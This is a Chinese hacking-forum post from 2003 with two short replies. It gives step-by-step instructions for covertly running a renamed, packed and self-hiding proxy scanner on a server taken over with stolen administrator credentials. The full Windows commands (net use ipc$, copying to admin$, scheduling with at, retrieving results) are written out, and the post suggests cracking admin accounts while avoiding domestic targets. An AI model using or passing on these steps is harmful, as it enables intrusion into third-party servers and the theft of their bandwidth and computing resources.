20CN网络安全小组论坛 - 菜鸟乐园 - 如何远程搜索代理？

论坛: 菜鸟乐园标题: 如何远程搜索代理？

作者: newmyth21 [newmyth21]

论坛用户

注意：我写这篇文章的目的是告诉大家一种思路，对于按文章操作可能产生的法律后果请大家注意，毕竟这已经是非法占用别人的资源了，而且有可能造成对方服务中断！！！请慎重！！！！！

一般我们上网的速度都不是很快，而且同时还要浏览和下载，如果将宝贵的带宽浪费在搜索代理方面就太不值得了。经过实验，我终于找到一种简单、方便、一劳永逸的好方法。
大家知道网上的web服务器都是一天24小时连在网上的，而且连接速度一般是10M/100M，如果能用到它们为我们搜索代理服务器就太好了。要达到这个目的，前提条件是我们要控制一台服务器（winnt或win2000的）。

具体实现方法：
1.软件方面：winnt 4.0 或 win2000 操作系统，upx 或 aspack 可执行文件压缩器，Proxyhunter 3.0 beata 5 或beta8,建议beta8
2.操作：将你的代理猎手目录另外复制一份到别的地方，避免搞乱这两个猎手。我们就对复制的那一份进行操作。
先删掉猎手下面的result.dat和proxyht.cfQ，将proxyhunter.exe改一个名吧，免得太明显了。我将它改为ht.exe，然后用upx或aspack压缩ht.exe，它大概就变成只有352k大小了。运行ht.exe，进行配置。将搜索配置的三个数值分别改为5，10，200；启用先ping后连机制，并发数量也改为200。验证数据只用一个就行了，要用大型网站的，建议大家用这个网址 www.intel.com ，选特征字串方式，这个大家应该会的。在其他设置的运行参数方面，将以下几个选项打勾（其他的不要打勾！），启动时自动开始搜索，禁止运行多个代理猎手程序，搜索时自动定时保存（10分钟），启动时最小化，最小化时隐藏，最小化时不在任务栏显示图标。现在可以添加搜索任务了，建议将8080、1080（socks）、3128设置为必搜，80、8000也要有，但不要必搜，如果80必搜那无效结果就太多了，容易拖死服务器，其它的如ftp和telnet也不要，因为我们没有使用它们的插件。好了，现在退出代理猎手，将proxyht.cfg文件复制到另外一个地方。有一点提醒大家注意，你下次执行ht.exe它会自动隐藏并开始搜索的，你必须再执行一次它才会显示出来！好，我们执行两次，它出来了，让它停止搜索。清除那个任务吧。想要添加任务就再添加好了。
现在开始重头戏了，先花点时间来获得几个服务器的管理员帐号，本文假设你已经获得了111.111.111.111这台win2000服务器的管理员帐号，用户名为 test ，密码为 hello 。注意了，使用流光2001的时候一定要注意法律问题，不要动国内的服务器！！！！

提示：以下操作必须在winnt或win2000下面执行！并且要已经连到因特网，从 //开始是不用输入的，只是表示注释，本文假设你将ht.exe和proxyht.cfg文件copy到c:\ht\的目录下面。

在开始的运行菜单键入 cmd ，进入了命令控制符界面。
ping 111.111.111.111 //查看网络是否畅通，只有出现类似于 Reply from 202.96.128.68: bytes=32 time=189ms TTL=242的回答表示网络畅通，可以执行下一步。

net use \\111.111.111.111\ipc$ "hello" /user:"test" //如果成功会出现命令成功完成的提示，不成功则stop，检查你的密码和用户名是否正确。

copy c:\ht\proxyht.cfg \\111.111.111.111\admin$\system32\ //将文件上传到远程主机，大概一两分钟就可以了。

copy c:\ht\ht.exe \\111.111.111.111\admin$\system32\ //将文件上传到远程主机，如果连接速度慢要10多分钟，请耐心等待（这就是为什么叫大家用upx压缩猎手了）。

net time \\111.111.111.111 //查看远程主机的时间，假设它的时间是下午3：21分

at \\111.111.111.111 15:25 ht.exe //在3：25分执行代理猎手的程序，请注意要将时间变为24小时制。
看看时间，已经是3:30了，

at \\111.111.111.111 //看任务有没有成功，如果成功了就不会显示你的任务了，不成功则会说 ht.exe 任务出错。
现在是 3：40了。

dir \\111.111.111.111\admin$\system32\result.dat //如果出现了result.dat这个文件就表示代理猎手已经将搜索结果保存了一次（我们是设置为10分钟保存一次的），如果没有就出错了，不用等待，可以用pskill.exe杀掉ht.exe这个进程。

net use \\111.111.111.111\ipc$ /del //断开远程主机连接。

行了,你现在可以去睡觉了，大概20分钟就可以搜索一个B的网段，你算一下时间，到时候在来接收成果吧。

现在已经是第二天了，我们预计任务已经完成了。重新上网。

ping 111.111.111.111 //ok,网络畅通.

net use \\111.111.111.111\ipc$ "hello" /user:"test"重新连接到远程主机。

dir \\111.111.111.111.111\admin$\system32\result.dat //哇，是昨天已经停止搜索的（从它的修改时间可以看出），竟然有2M之巨，我倒：）。

copy \\111.111.111.111\admin$\system32\result.dat c:\ht\ //将结果文件拷贝到自己的电脑里，你慢慢等吧：）
net use \\111.111.111.111\ipc$ /del //断开远程主机连接,记住每次要断开连接。

现在将result.dat文件放到猎手目录下面，运行猎手可以看到你搜索的结果，将它精简一下吧，除了free的其它全去掉。

地主发表时间: 03-12-31 21:23

回复: newmyth21 [newmyth21]

论坛用户

来人啊！！！！！！！

B1层发表时间: 04-01-08 11:53

回复: haha52013 [haha52013]

论坛用户

你灌好多水啊``` 文章出了很久了``

B2层发表时间: 04-01-08 12:46

论坛: 菜鸟乐园